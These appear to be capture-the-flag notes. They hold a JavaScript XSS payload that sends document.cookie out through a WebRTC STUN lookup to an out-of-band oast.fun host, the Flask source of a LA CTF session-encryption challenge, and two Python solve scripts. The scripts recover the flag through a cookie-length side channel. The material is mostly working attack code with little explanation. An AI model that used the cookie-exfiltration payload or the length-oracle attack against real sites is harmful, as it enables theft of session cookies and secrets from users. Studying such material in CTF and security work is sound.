Leak

• https://4xura.com/web/how-to-bypass-csp-in-xss-attack/#toc-head-9

const rtc = new RTCPeerConnection({
    iceServers: [
        { urls: "stun:" + document.cookie.split('=')[1].slice(13, 18) + ".dkqsmxdiwnfgfodfhnakr01wzmby9aw38.oast.fun" }
    ]
});
rtc.createDataChannel("");
rtc.createOffer().then((offer) => rtc.setLocalDescription(offer));

from flask import Flask, session, request, redirect, render_template
import os
import random as rng
from cryptography.fernet import Fernet
from flask.sessions import SessionInterface, SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.encoding import base64_decode, base64_encode

flag = os.environ.get("FLAG", "lactf{owo_uwu}")

app = Flask(__name__, static_folder="static")
app.secret_key = os.urandom(32).hex()

key = Fernet.generate_key()
f = Fernet(key)

class EncryptedSerializer(URLSafeTimedSerializer):
    def load_payload(self, payload, *args, serializer = None, **kwargs):
        encrypted = base64_decode(payload)
        decrypted = f.decrypt(encrypted)
        return super().load_payload(decrypted, *args, serializer, **kwargs)

    def dump_payload(self, obj):
        decrypted = super().dump_payload(obj)
        encrypted = f.encrypt(decrypted)
        return base64_encode(encrypted)

# impl yoinked from https://github.com/pallets/flask/blob/f61172b8dd3f962d33f25c50b2f5405e90ceffa5/src/flask/sessions.py#L317
class EncryptedSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None

        keys: list[str | bytes] = [app.secret_key]

        return EncryptedSerializer(
            keys,  # type: ignore[arg-type]
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs={
                "key_derivation": self.key_derivation,
                "digest_method": self.digest_method,
            },
        )

app.session_interface = EncryptedSessionInterface()


@app.post("/login")
def login():
    name = str(request.form.get("username"))
    funny_num = int(request.form.get("funny"))
    password = bytes((ord(ch) + funny_num) % 128 for ch in flag).decode()
    session["username"] = name
    session["sudopw"] = password
    return redirect("/game")


@app.post("/whack")
def whack():
    if "username" not in session:
        return {"err": "login pls"}

    if session["username"] == session["sudopw"]:
        return {"win": True}

    return {"mole": rng.randrange(5), "win": False}

@app.get("/")
def index():
    return render_template("index.html")

@app.get("/game")
def game():
    if "username" not in session:
        return redirect("/")
    return render_template("game.html", username=session["username"])


if __name__ == "__main__":
    app.run("0.0.0.0", 8000, debug=True)

import string

import requests
from tqdm import tqdm

base = "https://whack-a-mole.chall.lac.tf/"
url = lambda end: f"{base.rstrip('/')}{end}"

alpha = string.ascii_letters + string.digits + "{}_"
rng = "q3aUrDpfmRzMzABTCILvXCOA3Us"

s = requests.Session()


def get_len(guess):
    r = s.post(
        url("/login"),
        data={"username": guess, "funny": "0"},
        allow_redirects=False,
    )
    sess = s.cookies["session"]
    return len(sess)


prefix = "lac"
block_size = 16
padrange = [*range(block_size)]
while "}" not in prefix:
    for pad in [*padrange]:
        owos = []
        for ch in alpha:
            guess = (prefix + ch) * block_size
            guess = guess + rng[:pad]
            owos.append((get_len(guess), ch))
        owos.sort()
        if owos[0][0] != owos[1][0]:
            prefix += owos[0][1]
            padrange.sort(key=lambda x: -1 if x == pad else x)
            break
    print(prefix)

import requests, base64, string

FLAG = "lactf{wh"
ENDPOINT = "https://whack-a-mole.chall.lac.tf"

data = {
    'username': '',
    'funny': '0'
}


for i in range(30):
    for c in '_}' + string.ascii_lowercase + string.digits + string.ascii_uppercase:
        data['username'] = '!'+FLAG[-8:]+c+'%$'
        s = requests.Session()
        r = s.post(ENDPOINT+"/login", data=data)
        d = (base64.b64decode(s.cookies['session'].split(".")[0].encode()+b'==').decode())
        if len(d) < 248:
            FLAG += c
            print(FLAG)
            break